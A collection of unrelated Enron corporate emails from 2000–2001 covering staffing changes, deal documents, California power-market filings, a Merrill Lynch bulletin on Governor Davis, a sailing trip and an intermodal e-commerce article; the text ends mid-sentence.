Jim Lewis has also joined this team. His last assignment was leading the=20
structuring group for CALME.

Both Andrew and Jim will report to Larry Lawyer.
=20
Mark Wadlington has joined the EGM team and will be managing this activity=
=20
and co-ordinating with all Enron Corp. He reports to Tim Detmering with=20
accountability to the office of the chairman of EGM.

Operations and Accounting
Todd Hall has expanded his role as Business Controller and will have=20
responsibility for coal and weather.

Mike Perun has joined Enron from the banking industry and is responsible fo=
r=20
Controls & Standards.  He will focus on EGM=01,s operational and accounting=
=20
processes on a global basis.  He reports to Brent Price.

The Ecoelectrica power plant in Puerto Rico will move reporting=20
responsibility into the Enron Global Assets group.  Greg Curran, who is=20
responsible for all the activities in Puerto Rico, will report to that grou=
p=20
on all Ecoelectrica business and to Enron Global Markets on the remaining=
=20
businesses.

Please join us in congratulating everyone in their new roles.

Attached for your review are the following documents

1. Amendment Number 3 to the Securities Purchase Agreement;
2. Amendment Number 4 to the Project Development Agreement;
3.  Amendment Number 1 to the Guaranty; and
4.  The Assignment of Interests (in preparation for Friday's closing).

As you will see the new SPA calls for Seller's Wiring Instructions to be 
attached as Schedule 2.5.  Please let me know where I can get that 
information.  Also, I spoke with AES' attorney about the Guaranty issue but 
she had to check with AES and I have not heard back from her.

Please call me with your questions and comments at your earliest 
convenience.  Best regards.

Thank you.

 - redspa.doc
 - redpda.doc
 - #1287349 v1 - ASSIGNMENT OF INTERESTS.doc
 - #1287275 v1 - AM 1 TO GUARANTY.doc

Hello --

Just wanted to make sure everyone got the notice about the meeting with 
Louise tomorrow (Wed) morning at 9am.  We are going to provide an update on 
the Offline status.  Thanks.

-- Rex

Bill -

Sorry for the delay -- I was out of town and believe it or not Enron doesn't 
have a local access number to its computer system in Monmouth, IL so I just 
got your message this morning.

Don't worry about sailing skills.  Among the rest of us we have that pretty 
well covered.  We may be a bit rusty but I'll bet we can keep the boat moving 
in the right general direction and not hit anything hard enough to do any 
serious damage.  We're going to an area that is one of the easiest places in 
the world to sail around for a few days.  Navigation is easy (you can always 
see where you're going), the waters are protected (no big waves) and the wind 
consistent and not too strong (so the boat will move but not be hard to 
handle).  The skills you mentioned (sitting, drinking & socializing) are in 
fact the critical skills for a trip like this.  We sure don't want anyone on 
board who is going to fall down on the job in any of those areas!

If you want a sneak preview, try The Moorings website -- www.moorings.com.  
Under "Destinations" we're going to the British Virgin Islands.  Under 
"Charter Fleet" we'll be on a Moorings 463.

Since you have your tickets, please send me your flight arrival information.  
I need to pass that along to The Moorings so they will pick you up at the 
airport.  About the only other items left to deal with are ordering our food 
and drinks.  Amanda has abdicated any responsibility there so Linda & I will 
take care of most of that.  Any particular beverage requests?  Beer, wine, 
liquor, sodas, juices, mixers?  

And finally, just a bit if extra info:

1.  Your cell phones will not work in the BVI.  We will have a local cell 
phone on the boat but won't know the number until we get there.  If you need 
to leave a contact number with someone, give them the Moorings' number in 
Tortola (284)494-2332.  They'll try and reach us either by phone or radio if 
a call comes in.

2.  A lot of places will take credit cards but we'll need a little cash for 
renting moorings for the night (much easier than anchoring - Amanda can 
explain), meals out, departure taxes, incidentals and whatever but there 
aren't going to be lots of ATM's everywhere so you should bring what you 
think you'll need.  US Dollars are the currency.

3.  You will need your passport but there are no visa requirements.

4.  Use soft-sided luggage (easier to stow  on the boat) and try to carry 
everything on -- if they lose a checked bag it's hard to get it later.  

That's about all I can think of right now.  Feel free to ask any other 
questions.  I'm starting to get excited now too.  It's hard to believe it's 
less than 3 weeks away!  

Mark

	"McGovern, William" <McGovernW@SEC.GOV>
	04/20/2001 09:55 AM
		 
		 To: "'lhayman@skadden.com'" <lhayman@skadden.com>
		 cc: "'mark.taylor@enron.com'" <mark.taylor@enron.com>
		 Subject: FW: Sailing

Linda -- FYI.  Haven't heard back from Mark yet.  I can only assume he is
hesitant to confirm in writing that he knows how to sail.

Bill

P.S. Thanks for Fed Ex'ing the tie.  I was wondering where that was.

> From:  McGovern, William
> Sent: Thursday, April 19, 2001 4:01 PM
> To: 'mark.taylor@enron.com'
> Cc: 'amh5h@virginia.edu'
> Subject: Sailing
>
> Mark -- I do hope you know how to sail.  The only thing I know how to do
> on a boat is sit, drink and socialize.  I have no idea how to make the
> boat move in any direction.  I am trusting that you have some idea how to
> do this.  I can wind rope and stuff like that though.  And I am generally
> good company.
>
> Actually, I am really looking forward to this.  I picked up our tickets
> yesterday and can't wait.  The day is only a few calendar pages away.
>
> You need to let me know how I can help with preparations and expenses and
> whatever else needs to be done.  I can't count on Amanda for any guidance.
> All she can seem to remember from prior sailing trips is drinking.
>
> Bill McGovern
>
> P.S. Sorry we missed you in D.C. a few weeks ago.  We were in
> Charlottesville that weekend I think. 

For information purposes I am attaching a spreadsheet showing what the 
potential value of this transaction may be given various terms and volumes.  
Given the scenario outlined in the recent draft decision from the CPUC 
regarding back payments, there may be an oportunity on behald of the QFs to 
negotiate a modified agreement with dispatch in return for relief on payables 
by the IOUs.

Mike

From:  Parquet, David  
Sent: Monday, June 04, 2001 10:29 AM
Cc: Dasovich, Jeff; Etringer, Michael
Subject: Re: SCE QF Meeting

The structure is the same as we tried 4 years ago with no success.  ("ABE" - 
"anybody but Enron", being the primary reason we failed.)  The deal we were 
offering was the option to supply from the market in exchange for a 20% 
discount in the capacity payment.  At the time, we WERE going to shut down 
the QF and pay them more PV than they would have gotten by running, the 
"grease" coming from the relatively high O&M, which could be extinguished 
with the proposed structure.  

This structure sounds like a strict option, but should still work great.  The 
"grease" in this case is the arbitrage between market price and QF operating 
cost.

In the past, I have called John Fielder, VP Regulatory Affairs, when I want 
to talk about something strategic with SCE.  He was my fellow board member on 
the ISO board.  I could call him for you.

	Christopher F Calger/ENRON@enronXgate 06/04/2001 09:33 AM 	   To: David 
Parquet/SF/ECT@ECT, Jeff Dasovich/NA/Enron@Enron  cc: Michael 
Etringer/ENRON@enronXgate  Subject: SCE QF Meeting

Guys,

Mike Etringer has a real good structure to present to SCE.  Basically, Enron 
would pay for the right to dispatch the QF so that their obligations to the 
utility could be met by either the plant or the market.  For that right, 
Enron would be able to pay for/absorb most of the past due receivables owed 
to the QF.  Several QF's have expressed interest, but the utility wont return 
calls.  We could not do this for the whole QF group, but we could do it for 
500MW+, which could save everyone $200MM+ in past due receivables.  

Who should we meet with to putch this idea?

Chris 

We made a separate filing.  Ron hasn't sent me the final draft.  But when he 
sends it I'll forward it.

From: James D Steffes@ENRON on 10/06/2000 07:44 PM CDT
To: Susan J Mara/SFO/EES@EES, Mary Hain/HOU/ECT@ECT
cc: Sarah Novosel/Corp/Enron@ENRON, Jeff Dasovich/NA/Enron@Enron 
Subject: Fw: Filed version of FERC filing

Sue & Mary --

What ended up happening with our filing?  Did we make a separate case?  I 
liked the IEP filing but thought that it may have been too conciliatory?  

Let's talk on Oct 9 Monday. 

Jim

----- Forwarded by James D Steffes/NA/Enron on 10/06/2000 07:42 PM -----

	10/06/2000 12:12 PM
		 
		 To: Sarah Novosel/Corp/Enron@ENRON, James D Steffes/NA/Enron@Enron
		 cc: 
		 Subject: Fw: Filed version of FERC filing

----- Forwarded by Jeff Dasovich/NA/Enron on 10/06/2000 12:12 PM -----

	10/05/2000 07:12 PM
		 
		 To: "William Hall" <wfhall2@duke-energy.com>, "Trond Aschehoug" 
<taschehoug@thermoecotek.com>, "Tony Wetzel" <twetzel@thermoecotek.com>, 
"Susan J Mara" <Susan_J_Mara@enron.com>, "Steve Ponder" 
<steve_ponder@fpl.com>, "Steve Iliff" <siliff@riobravo-gm.com>, "Scott Noll" 
<snoll@thermoecotek.com>, "Roger Pelote" <rpelote@energy.twc.com>, "Rob 
Lamkin" <rllamkin@seiworldwide.com>, "Randy Hickok" 
<rjhickok@duke-energy.com>, "Paula Soos" <paula_soos@ogden-energy.com>, 
"Marty McFadden" <marty_mcfadden@ogden-energy.com>, "Lynn Lednicky" 
<lale@dynegy.com>, "Kent Fickett" <kfickett@usgen.com>, "Ken Hoffman" 
Ronan" <joer@calpine.com>, "Joe Greco" <joe.greco@uaecorp.com>, "Jim Willey" 
<elliottsa@earthlink.net>, "Jack Pigott" <jackp@calpine.com>, "Hap Boyd" 
<rboyd@enron.com>, "Greg Blue" <gtbl@dynegy.com>, "Frank DeRosa" 
<frank.derosa@gen.pge.com>, "Eileen Koch" <eileenk@calpine.com>, "Ed Tomeo" 
<ed.tomeo@uaecorp.com>, "Duane Nelsen" <dnelsen@gwfpower.com>, "Dean 
Gosselin" <dean_gosselin@fpl.com>, "Dave Parquet" <dparque@ect.enron.com>, 
"Curtis Kebler" <curtis_l_kebler@reliantenergy.com>, "Curt Hatton" 
Baker" <cabaker@duke-energy.com>, "Bob Escalante" 
<rescalante@riobravo-gm.com>, "Bill Woods" <billw@calpine.com>, "Bill 
Carlson" <william_carlson@wastemanagement.com>, "Jeff Dasovich" 
<jdasovic@enron.com>, "Nam Nguyen" <nam.nguyen@powersrc.com>, "Doug Levitt" 
<SDL@calwind.com>, "Ed Maddox" <emaddox@seawestwindpower.com>, "Frank 
Misseldine" <fmisseldine@caithnessenergy.com>, "Milton Schultz" 
<bfpjv@c-zone.net>, "Pete Levitt" <Pete@calwind.com>, "Robert Frees" 
<freesrj@apci.com>, "Ted Cortopassi" <TCortopassi@ogden-energy.com>, "Tom 
Heller" <hellertj@apci.com>, "Ward Scobee" <wscobee@caithnessenergy.com>

Note:  Attached is the Filed version of the IEP Comments on CAISO Amendment
No. 31.  Thanks for your time and comments.

From: Andy Brown <ABB@eslawfirm.com>
To: Steven Kelly (E-mail) <steven@iepa.com>; Katie Kaplan (E-mail)
<kaplan@iepa.com>; <smutny@iepa.com>
Cc: Douglas Kerner <DKK@eslawfirm.com>
Sent: Thursday, October 05, 2000 11:54 AM
Subject: Filed version of FERC filing

> Attached in PDF format is the final document filed at FERC today regarding
> the CAISO price cap filing.  ABB
>
> Andrew B. Brown
> Ellison, Schneider & Harris, LLP
> 2015 H Street
> Sacramento, CA  95814
> Phone: (916) 447-2166
> Fax: (916) 447-3512
> mailto:abb@eslawfirm.com
>
> CONFIDENTIALITY NOTICE:  This communication and any accompanying
document(s)
> are confidential and privileged.  They are intended for the sole use of
the
> addressee.  If you receive this transmission in error, you are advised
that
> any disclosure, copying, distribution, or the taking of any action in
> reliance upon the communication is strictly prohibited.  Moreover, any
such
> inadvertent disclosure shall not compromise or waive the attorney-client
> privilege as to this communication or otherwise.  If you have received
this
> communication in error, please contact the sender at the internet address
> indicated or by telephone at (916)447-2166. Thank you.
>
>

 - 001005_IEP_Mo_Interv_ER00-3673_ISOT_Am_31.fin.PDF

Today we announced the appointment of Jeff McMahon as Enron's chief financial officer.  In my continued discussions with the financial community yesterday and today, it became clear that this move was required to restore investor confidence.  Jeff has unparalleled qualifications and a deep and thorough understanding of Enron.  He is already on the job and hard at work on the issues before us.  Andy Fastow will be on a leave of absence from the company.  

Jeff had been serving as chairman and CEO of Enron Industrial Markets. He joined Enron in 1994 and spent three years in the London office as chief financial officer for Enron's European operations.  Upon returning to the U.S., Jeff was executive vice president of finance and treasurer for Enron Corp.  In 2000, he was named president and chief operating officer of Enron Net Works.

I know all of you are concerned about the continuing decline in our share price.  I am too, and we are working very hard to turn it around.  Appointing Jeff as CFO is one important step in that process.  But most of the solution involves just continuing to do our jobs with excellence.  The fundamentals of our business are strong, and I think the market will begin to see that as we continue to perform.

Please join me in giving Jeff your full support, and thank you for all of your continued hard work.

Can you please let me know if there are any existing NDA's in place with 
Morningstar Systems Inc. and Insource Techology Corporation.  Thank you!

I will have training class on the East Desk Market Area positions this Wed, 
June 21st, at 4:00 PM in conference room EB3084.  I will be discussing our 
operational flexibility with respect to Tenn Z6 and National Fuel.

This is in follow-up to the deal transfer matter we discussed this morning.

Julie Meyers called me and stated that Tom Martin had called her to put the 
deal transfer from HPL to ENA on hold till Monday; however, she had already 
moved them in the system.  I asked her to find out if the deals had been 
confirmed under HPL and if so, I would need to prepare a document to transfer 
them from HPL to ENA.  She agreed to send me a list of the deals that had 
been moved and whether or not they had been documented with the 
counterparty.  Apparently, they had been and Jennifer Blay has now 
redocumented two of the deals as ENA deals.  
----- Forwarded by Dan J Hyvl/HOU/ECT on 10/13/2000 03:03 PM -----

	10/13/2000 02:09 PM
		 
		 cc: Thomas A Martin/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Jennifer 
Blay/HOU/ECT@ECT
		 Subject: Re: HPLC TO ENA DEALS

Attached are the confirmations that went out under HPLC.  Jennifer has 
reconfirmed Forest Oil under ENA already.  I will followup with you Monday 
after Tom meets with legal.

,,,,

Thanks!!

Julie

---------------------- Forwarded by Julie Meyers/HOU/ECT on 10/13/2000 02:02 
   
	From:  Jennifer Blay                           10/13/2000 01:44 PM
	
cc:  
Subject: Re: HPLC TO ENA DEALS  

confirms have been sent under HPLC

10/13/2000 11:26 AM
To: Jennifer Blay/HOU/ECT@ECT
cc:  
Subject: HPLC TO ENA DEALS

Apparently there is some concern of these deals being moved.  Dan Hyvl would 
like to know if the following deals have been confirmed already under HPLC.

Duke Energy - Q04182
Duke Energy - NZ7880
Western Gas Resources - Q10831
Duke Energy - Q04119
Forest Oil Corp -  Q22828

If they have let me know.  I need to send something to Dan and some others.

Thanks!!

Julie'

I just received a call from Joe Krajewski (617-723-5512 x4731) at Boston Gas.  He is a Resource Management Analyst at Boston Gas working for Liz Danehy.  According to Joe, ENA is still billing Boston Gas for part of the demand charges on the long term producer netback deal (that Ruth is so familiar with).  This is Iroquois and Tennessee capacity I am releasing back to Boston Gas each month at a 100% demand rate.

Joe asked me why we were doing this and I told him that ENA was probably not paying the capacity bills and Boston Gas was aware of that fact and knew Boston Gas would be liable for the demand charges anyway.  Sounds like Boston Gas may be getting double billed and Joe said they will probably not pay the invoice.

no, we are setting records on the # of trades. no counterparty issues at this time

Subject:	trade limits

are they curtailing your volumes?  counterparties backing off yet?

---------------------- Forwarded by Kay Mann/Corp/Enron on 04/01/2001 09:25 

"DeBerry, Jeremiah A." <JeremiahDeberry@paulhastings.com> on 03/31/2001 
07:45:24 PM
To: "'Kay.Mann@Enron.com'" <Kay.Mann@Enron.com>, "'JKeffer@KSlaw.com'" 
<JKeffer@KSlaw.com>
cc: "'Michael.Young@NorthWestern.com'" <Michael.Young@NorthWestern.com>, 
"Kahn, Marguerite R." <MargueriteKahn@paulhastings.com> 

Subject: Turbine Purchase - Transaction Documents

"paulhastings.com" made the following annotations on 03/31/01 20:45:40

In connection with  the above referenced matter, attached for your review 
are?clean and  blacklined copies of the First Amended and Restated LLC 
Agreement.? The  blacklined copy has been marked to indicate changes made to 
the initial draft  provided by Enron.
?
Please note that the  attached drafts have not been reviewed by NorthWestern, 
and therefore remain  subject, in all respects, to NorthWestern's comments.
?
We will forward the  revised draft of the Letter Agreement on Monday, April 
2, 2001.?  
?
Please contact me  with any questions or comments.
?
?
 - #328314 v6 - Northwestern LLC Agreement.doc
 - #328314 vRED - Northwestern LLC Agreement.rtf

Preliminary budget figures for 2002 are included in the attached memo.

-George
(713) 646-7327

Davis is saying he's had discussions with us about taking a loss on our 
debts??  Have we had any such conversations w/ him? ( I told the media 
yesterday we hadn't been contacted by him...)
---------------------- Forwarded by Karen Denne/Corp/Enron on 03/01/2001 
From: Ann M Schmidt on 03/01/2001 08:54 AM
cc:  

Subject: Merrill Lynch Report: Governor Davis Comes to Wall Street

Karen,

FYI.  Ann

Governor Davis Comes to Wall Street
3/1/1 9:47 (New York)

                      M E R R I L L  L Y N C H        Research Bulletin
  Fixed Income Research                               Reference Number 
10906001
  United States                                       Mar/01/2001 09:47
  Leo J. Kelser                                       (1) 212 449-7803

Highlights of This Issue

Governor Gray Davis of California met with a group of sell-side and rating
agency analysts in New York yesterday.  The Governor outlined his plan for
restoring the utilities to financial viability so that they can meet their
obligations.  Below we summarize a few highlights from the meeting.

Trying to Fit Solution Within Existing Rate Structure

The Governor talked about the need to find a solution to the utilities'
problems within the context of their existing rate structures. He indicated
that the temporary 9% rate hike from January 2000 would be made permanent and
that a 10% rate reduction that went into effect in January 1998 would be
reversed in March 2002.

Status of Negotiations with PG&E

As we noted in a February 26(**th) comment, the Governor has reached an
agreement in principle with Southern California Edison (EIX: B3/CC) to address
that utility's past under-collections.  He hopes to also have an agreement 
with
PG&E within the next 30 days, suggesting that progress was made in particular
in the last 2-3 days.  However, the Governor acknowledged that reaching an
agreement with PG&E was more difficult due to its larger under-collected
balance and lower rates compared with SCE.

Some Generators Agree to Haircut

The Governor indicated that a couple of unnamed generators have voluntarily
agreed to accept less than 100 cents on the dollar for their past due
receivables. When pressed about which parties they've had constructive
discussions with, he identified Williams (WMB: Baa2/BBB-), Enron (ENE:
Baa1/BBB+) and Dynegy (DYN: Baa2/BBB+).  We note that most of the generators
and marketers with exposure to California have established reserves against
possible losses.  Importantly, the Governor said that he hoped that the banks
and bondholders would not be asked to take a haircut.

Prospects for Legislation and Possibility of Ballot Initiative

The Governor said he is quite confident that he can reach an agreement with 
the
utilities that the legislature can support.  Although he admitted that he
couldn't prevent someone from proposing a ballot initiative, the governor said
that in the end, the acid test with the public is how it affects their pocket
books.  Thus, if there is ultimately a ballot initiative, Governor Davis is
optimistic that the public will be supportive of his plan given the limited
impact on electric rates.

Status of Defaulted Utility Debt

As we have commented in the past, it appears unlikely that the resulting
legislation will pass with the required 2/3majority to go into effect
immediately.  Accordingly, there will be a several month lag before the
utilities receive any cash.  In response to a question, it appears that the
state will not step in to help the utilities pay off any maturing or defaulted
commercial paper.  But the Governor and his advisers hope that legislation 
will
provide enough certainty so that the companies can get bridge financing.
Essentially, it appears the Governor is leaving it up to the utilities to find
the money from their banks.

Governor's Strategy to Keep the Lights On

The Governor stated that a key reason that deregulation failed in California
was that no new power plants were built in the state for over twelve years.  
In
the intervening time, demand caught up with supply.  In response, he has
proposed various conservation initiatives and is trying to expedite the
construction of new power plants.  He set a goal of having 20,000 megawatts
(mws) of new supply on line by 2004.

In addition, the governor highlighted the need for additional investment in 
the
transmission infrastructure.  In particular, he cited the need to expand the
capacity to import more power from Arizona as well to improve the ability to
move power from south to north within the state. He suggested that part of the
rationale for the state taking over the utilities' transmission grids was to
ensure that the additional investment takes place.  He also suggested that the
state would lease the transmission lines back to the utilities to allow them 
to
continue to operate them.

In the meantime, the focus is to move away from California's over-reliance on
the spot market.  In that vein, Calpine (CPN: Ba1/BB+) yesterday announced the
signing of two long-term contracts with the state's Department of Water
Resources (DWR).  One of those contracts was to sell up to 1,000 mws over a 
ten-
year term.  The other was to provide up to 495 mw of peaking capacity under a
20-year contract.  Earlier in February, CPN had reached agreement with the DWR
on a separate 10-year contract for an additional 1,000 mws.

(EIX, WMB)  MLPF&S was a manager of the most recent public offering of
securities of this company within the last three years.
Copyright 2001 Merrill Lynch, Pierce, Fenner & Smith Incorporated (MLPF&S).
All rights reserved. Any unauthorized use or disclosure is prohibited. This
report has been prepared and issued by MLPF&S and/or one of its affiliates and
has been approved for publication in the United Kingdom by Merrill Lynch,
Pierce, Fenner & Smith Limited, which is regulated by SFA; has been considered
and distributed in Australia by Merrill Lynch Equities (Australia) Limited 
(ACN
006 276 795), a licensed securities dealer under the Australian Corporations
Law; is distributed in Hong Kong by Merrill Lynch (Asia Pacific) Ltd, which is
regulated by the Hong Kong SFC; and is distributed in Singapore by Merrill
Lynch International Bank Ltd (Merchant Bank) and Merrill Lynch (Singapore) Pte
Ltd, which are regulated by the Monetary Authority of Singapore.  The
information herein was obtained from various sources; we do not guarantee its
accuracy or completeness. Additional information available.
Neither the information nor any opinion expressed constitutes an offer, or an
invitation to make an offer, to buy or sell any securities or any options,
futures or other derivatives related to such securities ("related
investments").  MLPF&S and its affiliates may trade for their own accounts as
odd-lot dealer, market maker, block positioner, specialist and/or arbitrageur
in any securities of this issuer(s) or in related investments, and may be on
the opposite side of public orders.  MLPF&S, its affiliates, directors,
officers, employees and employee benefit programs may have a long or short
position in any securities of this issuer(s) or in related investments. MLPF&S
or its affiliates may from time to time perform investment banking or other
services for, or solicit investment banking or other business from, any entity
mentioned in this report.
This research report is prepared for general circulation and is circulated for
general information only.  It does not have regard to the specific investment
objectives, financial situation and the particular needs of any specific 
person
who may receive this report.  Investors should seek financial advice regarding
the appropriateness of investing in any securities or investment strategies
discussed or recommended in this report and should understand that statements
regarding future prospects may not be realized.  Investors should note that
income from such securities, if any, may fluctuate and that each security's
price or value may rise or fall. Accordingly, investors may receive back less
than originally invested.  Past performance is not necessarily a guide to
future performance.
The bonds of the company are traded over-the-counter.  Retail sales and/or
distribution of this report may be made only in states where these securities
are exempt from registration or have been qualified for sale. MLPF&S usually
makes a market in the bonds of this company.
Foreign currency rates of exchange may adversely affect the value, price or
income of any security or related investment mentioned in this report.  In
addition, investors in securities such as ADRs, whose values are influenced by
the currency of the underlying security, effectively assume currency risk.
 Provider ID: 10906001
-0- Mar/01/2001 14:47 GM

Rod, Here is a brief update for Stan's staff meeting.  Hope you won't mind 
giving a summary, if appropriate.

Thanks, JNG

MOPS Disposition:  Bill Malmquist (Williams Field Services) canceled the 
meeting that had been scheduled for Wednesday of last week with James 
Harvey.  I will follow-up with James to see what reasons were given, but 
obviously this is another indication of the general lack of enthusiasm the 
other MOPS owners have for dealing with our ROFR issue.  The Williams 
business segment that has responsibility for MOPS, reports up through Steve 
Malcolm in Tulsa.  I have not dealt with this new organization in the past, 
but I will begin making contact "up the ladder".  If Stan knows any of the 
top guys and wouldn't mind making a contact, it might be helpful.  Meantime, 
if I make any progress I'll get word to Stan.  

Here is the applicable Williams organization chart for reference:

 Keith Bailey

 Steve Malcolm - President, Williams Energy Services which includes 
gathering, processing, and trading/marketing
 [Malcolm is organizationally equivalent to Cuba Waddlington].

 Steve Springer - Sr VP Gathering & Processing

 Allen Armstrong - VP 

 Dan McVay - Director

 Bill Malmquist - Manager 

  NOTE:  Malcolm, Springer, and Armstrong are located in Tulsa. 

Alaska/Canada Pipeline - trip to Calgary:

We attended a meeting in Calgary hosted by Purvin & Gertz with many of the 
stakeholders for the Alaskan/Canadian gas pipeline project in attendance.  
This rather large industry group (including NBP and GPG) has commissioned 
Purvin and Gertz to develop a detailed comparison of cost, schedule, and 
producer netback for various pipeline solutions.  There seems to be only two 
pipeline alternatives being seriously considered: 
 1) the original ANGST route which would run along the existing TAPS oil line 
and then along the ALCAN highway into the Yukon territory and BC; and 
 2) the proposed "over the top route" that would run offshore Alaska in the 
Beaufort Sea and then up the McKenzie River valley down into Alberta.  

No alliances or partner groups have really formed as yet.  It seems that most 
are also conducting their own evaluation, and are waiting for clearer 
definition before declaring their intentions.  Of course, Foothills Pipeline 
is convinced that the ANGST route is the only one that makes sense and is 
working hard to illustrate the benefits of the previously 
approved/certificated route.  Interestingly, Foothills is not a sponsor of 
the P&G study, 

We have communicated our interest in the project to Foothills, BP Amoco, 
Phillips, and even Williams Pipeline.  In addition, I have scheduled a 
meeting this Friday to discuss the project with Exxon-Mobil.

Stinson,

Great! I'm looking forward to a very productive collaboration.
I'll immediately start doing Giuseppe's papers, for him to work
on the Enron/Stanford program.

Many Thanks to you and Vince, and I hope to see you soon at Stanford
or Enron. If I remember correctly, Vince is visiting Stanford in
October.

Nick

Stinson.Gibner@enron.com wrote:
>
> Nick,
>
> I spoke with Paul Racicot, head of trading for  EBS, North America this
> morning.   He said that he is happy to send the $100,000 for your program
> from his budget.   I have forwarded to him the draft letter to accompany
> the funds and will try to follow up to make sure that the money is sent
> promptly.
>
> --Stinson

Start Date: 4/10/01; HourAhead hour: 1;  No ancillary schedules awarded.  No 

Schedules\2001041001.txt

FYI
m
---------------------- Forwarded by Mike McConnell/HOU/ECT on 11/13/2000 

Shawn Cumberland@ENRON_DEVELOPMENT
11/11/2000 03:57 AM
cc:  
Subject: hello

Mike:

Many thanks for all of the support in the placement of the former CALME 
employees.  We are done to just a very few at this time.

It appears that your new squad is getting some traction on building the LNG 
business.  I'm pleased to hear that.

I look forward to hearing how our transportation or logistics business is 
developing.  Perhaps we can get together sometime during the San Antonio 
conference to catch up.

All the best.  Shawn

PS.  the following is an interesting article about the online intermodal 
landscape.

Hashing Out E-commerce.
JOHN GALLAGHER
10/23/2000 
Traffic World 
Page 29 
Copyright 2000 Gale Group Inc. All rights reserved. COPYRIGHT 2000 Journal of 
Commerce, Inc. 

'Dot-coms' explain how they hope to compete in intermodal market and among 
themselves 

With some 150 websites devoted to transportation, e-commerce companies 
acknowledge that it's difficult for potential customers to cut through the 
confusion and figure out who's doing what and who's going to be with them for 
the long term. 

Because of the competition between their respective railroad partners, one of 
the bigger questions for intermodal shippers is the relationship between 
Arzoon and Freightwise. There has been speculation that after Freightwise was 
established by Burlington Northern Santa Fe Railway, four competitors -- 
Union Pacific Railroad, Norfolk Southern, CSX and Canadian Pacific Railway -- 
teamed up with rival e-commerce site Arzoon in a response to BNSF's proposed 
merger with Canadian National Railway. However, both Freightwise and Arzoon 
claim that's not the case. "I'm continually asked, 'What's up with the four 
railroads and Arzoon?'" said Charley Eisele, UP senior vice president, 
strategic planning. "People are trying to make a whole lot out of the 
coincidence of these two things from a timing perspective. The reality is, it 
was a decision made on the underlying business model." 

Freightwise executives agree with that assessment, pointing out that because 
the industry happened to be divided along merger lines at the same time the 
railroads were aligning with e-commerce initiatives, it seemed too much of a 
coincidence that the same four railroads opposing the merger were the ones 
joining Arzoon. However, "I think to launch a company like this takes more 
than just a reaction to a merger," said Freightwise Chief Marketing Officer 
Sanjay Joshi. 

There are major differences between the two Internet companies starting with 
their business plans. Arzoon categorizes itself as a "shipper-centric 
transportation management system," whose target market is the roughly 80 
percent of the transportation business that currently moves under contract. 
Freightwise, on the other hand, classifies itself as a transportation 
exchange and is targeting the remaining 20 percent of the market procured on 
a spot basis. Arzoon, whose primary focus is the shipper, is setting out to 
help manage the relationships that already exist between shipper and carrier. 
The priority for carrier-focused Freightwise is to make sure the capacity is 
there for shippers who log on to their system. 

In addition, Arzoon, which currently is involved only with rail and truck, 
wants eventually to become a transportation management system that "manages 
across all modes and borders," including ocean and air freight, said Eisele. 
Freightwise will stick to truckload and inter-modal for the time being. 
"We're not sure about getting involved with air freight, given the size of 
the market and the economics," said Joshi. "It takes a different set of 
products and economics than surface transportation. Maybe sometime down the 
line, but right now we really plan on getting entrenched in the truckload and 
inter-modal spot market. We think that's a lot to chew. The key is to focus 
on a particular footprint that we can begin to own rather than get too broad 
and lose focus." 

The fact that Arzoon and Freightwise have teamed up with different rail 
carriers is another cause for concern. Will there be a disincentive on the 
part of carriers to use each others' e-commerce initiatives and ultimately, 
therefore, a disadvantage for prospective customers? 

"The answer is the 90-10 rule," said a source from an Arzoon rail partner. "A 
particular shipper is in a position where 90 percent of their business is 
conducted via truck and other modes, and maybe only 10 percent via railroads. 
If the choice presented to them is to select a system that addresses all 
modes effectively or one that only addresses a particular mode, then the 
90-10 rule would suggest that greater leverage would lie in picking the 
broader, multimode transportation management system. In that case, even 
though a railroad may have another (e-commerce) approach, it would clearly 
have to respond to the customers' needs in that situation." 

Freightwise's Joshi makes a similar argument. "Freightwise is merely another 
channel for BNSF to market its services," he said. "It posts a certain set of 
rates for what it believes to be fair for the service. It's not for 
Freightwise to decide what rates BNSF decides to move through its channel." 
UP may not decide to post its rates on Freightwise, Joshi said, "so then BNSF 
would have to find out what's the competitive rate relative to UP." 

Another question arises as to whether Arzoon may have a competitive advantage 
over Freightwise, particularly from an intermodal standpoint, because it is 
backed by both Eastern and Western carriers. whereas Freightwise is backed 
only by BNSF. "I would only say that the partnership we have with BNSF is not 
exclusive and that we're talking to other railroads as well," Joshi noted. He 
added, "This is an exchange to market your capacity and services. It would be 
very difficult for six railroads to do something on their own; there would be 
no critical mass. It's to the advantage of the other railroads to 
participate." 

Along with BNSF, which provides Freightwise with instant capacity, the 
company recently signed GE Corp. as an "anchor tenant" and equity investor 
that will help Freightwise reach the critical mass Joshi talks about. As both 
a major supplier to the rail industry (locomotives) and a potential shipper 
(appliances), "the goal is to use GE as something we can leverage, and work 
with their respective divisions as a way to reduce their transportation 
costs," he said. 

Visibility is a key advantage for potential customers of both Interment 
companies. "As a transportation management system with access to all modes, 
it allows shippers to be more efficient in the management of transportation," 
Eisele said. "Cross-modal visibility means that because they'll be managing 
their truck business under the same system as rail, the economics of rail 
will be much more visible. And we believe that with comparable reliability, 
the economics will be compelling to the point where rails will garner a 
greater share of those customers' total transportation buy." 

Joshi claims a big difference between Freightwise and other exchanges is that 
when a shipper is looking for transportation options between specific 
origin-destination pairs, Freightwise allows customers to make side-by-side 
comparisons between truck and intermodal. It is this price and service 
transparency, Joshi says, that will save its customers money: "We're giving 
customers three to five choices between truck and intermodal, not 50, so that 
they can see service and price parameters." 

Intermodal e-commerce ventures such as Freightwise also bring up the question 
of competition with traditional intermodal marketing companies. Joshi points 
out that its fee for doing a lot of what small and midsize IMCs do currently 
-- such as load matching, tracking and tracing and order processing -- is 3 
percent, which is split between the buyer and seller of the services. This 
compares to the 18 to 20 percent that customers traditionally have paid for 
retaining an IMC. "I don't think all brokers will embrace us," Joshi 
conceded, but at the same time, "there will be a segment of brokers who will 
begin migrating into higher-added-value services, for example, the 
third-party logistics side rather than the classical brokerage. They'll get 
into things like inventory management on behalf of shippers and leave 
back-end processing to firms like Freightwise." 

Webmodal, which is a purely intermodal e-commerce venture whose vision is to 
"make intermodal much more like truck in the eyes of the shipper," points out 
that it can take customers several days to receive a bid from a traditional 
IMC. "We can immediately configure door to door intermodal solutions that we 
can put together using our underlying carrier relationships," said Webmodal 
founder and CEO Chris Kravas. "We do business with a lot of large U.S. 
railroads and with 37 drayage companies. We give everybody access to all the 
information they might need to make decisions on price vs. service tradeoffs, 
and which carriers make most sense based on what the shipper is trying to do. 
And we do it without the traditional one-to-three-day wait that typically 
happens in response to a normal request for (intermodal services)." 

Kravas said the company has invested time and expertise in developing what it 
